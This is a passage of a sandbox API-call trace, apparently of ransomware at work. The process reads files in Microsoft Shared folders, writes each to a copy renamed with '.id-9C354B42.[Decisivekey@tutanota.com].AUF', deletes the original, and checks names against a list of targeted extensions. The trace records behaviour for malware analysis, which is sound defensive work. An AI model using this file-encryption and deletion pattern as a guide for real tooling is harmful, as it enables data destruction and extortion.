returned 67 [0217.768] lstrlenW (lpString=".jpg") returned 4 [0217.768] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0217.768] lstrcmpiW (lpString1=".FNT", lpString2=".AUF") returned 1 [0217.768] lstrlenW (lpString="CGMIMP32.FNT") returned 12 [0217.768] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0217.773] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=606062) returned 1 [0217.773] CloseHandle (hObject=0x1fc) returned 1 [0217.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt")) returned 0x20 [0217.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.773] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0217.774] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0217.774] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0217.774] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0217.774] GetLastError () returned 0x0 [0217.774] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x93f6e, lpOverlapped=0x0) returned 1 [0217.811] WriteFile (in: hFile=0x20c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x93f70, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0x93f70, lpOverlapped=0x0) returned 1 [0217.819] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0217.819] WriteFile (in: hFile=0x20c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.819] SetEndOfFile (hFile=0x20c) returned 1 [0217.819] CloseHandle (hObject=0x20c) returned 1 [0217.819] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0217.819] SetEndOfFile (hFile=0x1fc) returned 1 [0217.823] CloseHandle (hObject=0x1fc) returned 1 [0217.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.824] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt")) returned 1 [0217.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0217.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0217.824] lstrlenW (lpString=".doc") returned 4 [0217.824] lstrcmpiW (lpString1=".doc", lpString2=".FNT") returned -1 [0217.824] lstrlenW (lpString=".docx") returned 5 [0217.824] lstrcmpiW (lpString1=".docx", lpString2="2.FNT") returned -1 [0217.824] lstrlenW (lpString=".pdf") returned 4 [0217.824] lstrcmpiW (lpString1=".pdf", lpString2=".FNT") returned 1 [0217.824] lstrlenW (lpString=".xls") returned 4 [0217.824] lstrcmpiW (lpString1=".xls", lpString2=".FNT") returned 1 [0217.824] lstrlenW (lpString=".xlsx") returned 5 [0217.824] lstrcmpiW (lpString1=".xlsx", lpString2="2.FNT") returned -1 [0217.824] lstrlenW (lpString=".ppt") returned 4 [0217.824] lstrcmpiW (lpString1=".ppt", lpString2=".FNT") returned 1 [0217.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0217.824] lstrlenW (lpString=".zip") returned 4 [0217.824] lstrcmpiW (lpString1=".zip", lpString2=".FNT") returned 1 [0217.824] lstrlenW (lpString=".rar") returned 4 [0217.824] lstrcmpiW (lpString1=".rar", lpString2=".FNT") returned 1 [0217.824] lstrlenW (lpString=".bz2") returned 4 [0217.824] lstrcmpiW (lpString1=".bz2", lpString2=".FNT") returned -1 [0217.824] lstrlenW (lpString=".7z") returned 3 [0217.824] lstrcmpiW (lpString1=".7z", lpString2="FNT") returned -1 [0217.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0217.824] lstrlenW (lpString=".dbf") returned 4 [0217.824] lstrcmpiW (lpString1=".dbf", lpString2=".FNT") returned -1 [0217.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0217.824] lstrlenW (lpString=".1cd") returned 4 [0217.824] lstrcmpiW (lpString1=".1cd", lpString2=".FNT") returned -1 [0217.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0217.824] lstrlenW (lpString=".jpg") returned 4 [0217.824] lstrcmpiW (lpString1=".jpg", lpString2=".FNT") returned 1 [0217.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0217.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0217.825] lstrlenW (lpString=".doc") returned 4 [0217.825] lstrcmpiW (lpString1=".doc", lpString2=".FNT") returned -1 [0217.825] lstrlenW (lpString=".docx") returned 5 [0217.825] lstrcmpiW (lpString1=".docx", lpString2="2.FNT") returned -1 [0217.825] lstrlenW (lpString=".pdf") returned 4 [0217.825] lstrcmpiW (lpString1=".pdf", lpString2=".FNT") returned 1 [0217.825] lstrlenW (lpString=".xls") returned 4 [0217.825] lstrcmpiW (lpString1=".xls", lpString2=".FNT") returned 1 [0217.825] lstrlenW (lpString=".xlsx") returned 5 [0217.825] lstrcmpiW (lpString1=".xlsx", lpString2="2.FNT") returned -1 [0217.825] lstrlenW (lpString=".ppt") returned 4 [0217.825] lstrcmpiW (lpString1=".ppt", lpString2=".FNT") returned 1 [0217.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0217.825] lstrlenW (lpString=".zip") returned 4 [0217.825] lstrcmpiW (lpString1=".zip", lpString2=".FNT") returned 1 [0217.825] lstrlenW (lpString=".rar") returned 4 [0217.825] lstrcmpiW (lpString1=".rar", lpString2=".FNT") returned 1 [0217.825] lstrlenW (lpString=".bz2") returned 4 [0217.825] lstrcmpiW (lpString1=".bz2", lpString2=".FNT") returned -1 [0217.825] lstrlenW (lpString=".7z") returned 3 [0217.825] lstrcmpiW (lpString1=".7z", lpString2="FNT") returned -1 [0217.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0217.825] lstrlenW (lpString=".dbf") returned 4 [0217.825] lstrcmpiW (lpString1=".dbf", lpString2=".FNT") returned -1 [0217.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0217.825] lstrlenW (lpString=".1cd") returned 4 [0217.825] lstrcmpiW (lpString1=".1cd", lpString2=".FNT") returned -1 [0217.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0217.825] lstrlenW (lpString=".jpg") returned 4 [0217.825] lstrcmpiW (lpString1=".jpg", lpString2=".FNT") returned 1 [0217.825] lstrcmpiW (lpString1=".FLT", lpString2=".AUF") returned 1 [0217.825] lstrlenW (lpString="EPSIMP32.FLT") returned 12 [0217.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0217.826] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=712592) returned 1 [0217.826] CloseHandle (hObject=0x1fc) returned 1 [0217.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt")) returned 0x20 [0217.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.826] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0217.826] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0217.826] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0217.826] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0217.826] GetLastError () returned 0x0 [0217.826] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0xadf90, lpOverlapped=0x0) returned 1 [0217.853] WriteFile (in: hFile=0x20c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xadfa0, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xadfa0, lpOverlapped=0x0) returned 1 [0218.147] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0218.148] WriteFile (in: hFile=0x20c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.148] SetEndOfFile (hFile=0x20c) returned 1 [0218.323] CloseHandle (hObject=0x20c) returned 1 [0218.323] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0218.323] SetEndOfFile (hFile=0x1fc) returned 1 [0218.331] CloseHandle (hObject=0x1fc) returned 1 [0218.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.331] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt")) returned 1 [0218.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0218.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0218.458] lstrlenW (lpString=".doc") returned 4 [0218.458] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0218.458] lstrlenW (lpString=".docx") returned 5 [0218.458] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0218.458] lstrlenW (lpString=".pdf") returned 4 [0218.458] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0218.458] lstrlenW (lpString=".xls") returned 4 [0218.458] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0218.458] lstrlenW (lpString=".xlsx") returned 5 [0218.458] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0218.458] lstrlenW (lpString=".ppt") returned 4 [0218.458] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0218.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0218.458] lstrlenW (lpString=".zip") returned 4 [0218.458] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0218.458] lstrlenW (lpString=".rar") returned 4 [0218.458] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0218.458] lstrlenW (lpString=".bz2") returned 4 [0218.458] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0218.458] lstrlenW (lpString=".7z") returned 3 [0218.458] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0218.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0218.458] lstrlenW (lpString=".dbf") returned 4 [0218.458] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0218.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0218.458] lstrlenW (lpString=".1cd") returned 4 [0218.458] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0218.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0218.459] lstrlenW (lpString=".jpg") returned 4 [0218.459] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0218.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0218.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0218.459] lstrlenW (lpString=".doc") returned 4 [0218.459] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0218.459] lstrlenW (lpString=".docx") returned 5 [0218.459] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0218.459] lstrlenW (lpString=".pdf") returned 4 [0218.459] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0218.459] lstrlenW (lpString=".xls") returned 4 [0218.459] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0218.459] lstrlenW (lpString=".xlsx") returned 5 [0218.459] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0218.459] lstrlenW (lpString=".ppt") returned 4 [0218.459] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0218.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0218.459] lstrlenW (lpString=".zip") returned 4 [0218.459] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0218.459] lstrlenW (lpString=".rar") returned 4 [0218.459] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0218.459] lstrlenW (lpString=".bz2") returned 4 [0218.459] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0218.459] lstrlenW (lpString=".7z") returned 3 [0218.459] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0218.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0218.459] lstrlenW (lpString=".dbf") returned 4 [0218.459] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0218.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0218.459] lstrlenW (lpString=".1cd") returned 4 [0218.459] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0218.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0218.459] lstrlenW (lpString=".jpg") returned 4 [0218.459] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0218.459] lstrcmpiW (lpString1=".dll", lpString2=".AUF") returned 1 [0218.459] lstrlenW (lpString="msitss55.dll") returned 12 [0218.459] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0218.759] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=430080) returned 1 [0218.759] CloseHandle (hObject=0x1f8) returned 1 [0218.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll")) returned 0x20 [0218.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.759] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0218.759] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0218.759] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0218.759] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0218.760] GetLastError () returned 0x0 [0218.760] ReadFile (in: hFile=0x1f8, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x69000, lpOverlapped=0x0) returned 1 [0218.779] WriteFile (in: hFile=0x184, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x69010, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0x69010, lpOverlapped=0x0) returned 1 [0218.785] ReadFile (in: hFile=0x1f8, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0218.785] WriteFile (in: hFile=0x184, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.785] SetEndOfFile (hFile=0x184) returned 1 [0218.785] CloseHandle (hObject=0x184) returned 1 [0218.785] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0218.785] SetEndOfFile (hFile=0x1f8) returned 1 [0218.788] CloseHandle (hObject=0x1f8) returned 1 [0218.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.788] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll")) returned 1 [0218.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0218.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0218.789] lstrlenW (lpString=".doc") returned 4 [0218.789] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0218.789] lstrlenW (lpString=".docx") returned 5 [0218.789] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0218.789] lstrlenW (lpString=".pdf") returned 4 [0218.789] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0218.789] lstrlenW (lpString=".xls") returned 4 [0218.789] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0218.789] lstrlenW (lpString=".xlsx") returned 5 [0218.789] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0218.789] lstrlenW (lpString=".ppt") returned 4 [0218.790] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0218.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0218.790] lstrlenW (lpString=".zip") returned 4 [0218.790] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0218.790] lstrlenW (lpString=".rar") returned 4 [0218.790] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0218.790] lstrlenW (lpString=".bz2") returned 4 [0218.790] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0218.790] lstrlenW (lpString=".7z") returned 3 [0218.790] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0218.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0218.790] lstrlenW (lpString=".dbf") returned 4 [0218.790] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0218.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0218.790] lstrlenW (lpString=".1cd") returned 4 [0218.790] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0218.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0218.790] lstrlenW (lpString=".jpg") returned 4 [0218.790] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0218.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0218.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0218.791] lstrlenW (lpString=".doc") returned 4 [0218.791] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0218.791] lstrlenW (lpString=".docx") returned 5 [0218.791] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0218.791] lstrlenW (lpString=".pdf") returned 4 [0218.791] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0218.791] lstrlenW (lpString=".xls") returned 4 [0218.791] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0218.791] lstrlenW (lpString=".xlsx") returned 5 [0218.791] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0218.791] lstrlenW (lpString=".ppt") returned 4 [0218.791] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0218.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0218.791] lstrlenW (lpString=".zip") returned 4 [0218.791] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0218.791] lstrlenW (lpString=".rar") returned 4 [0218.791] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0218.791] lstrlenW (lpString=".bz2") returned 4 [0218.791] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0218.791] lstrlenW (lpString=".7z") returned 3 [0218.791] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0218.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0218.791] lstrlenW (lpString=".dbf") returned 4 [0218.791] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0218.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0218.791] lstrlenW (lpString=".1cd") returned 4 [0218.791] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0218.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0218.791] lstrlenW (lpString=".jpg") returned 4 [0218.791] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0218.791] lstrcmpiW (lpString1=".mui", lpString2=".AUF") returned 1 [0218.791] lstrlenW (lpString="IPSEventLogMsg.dll.mui") returned 22 [0218.791] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0218.916] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=22528) returned 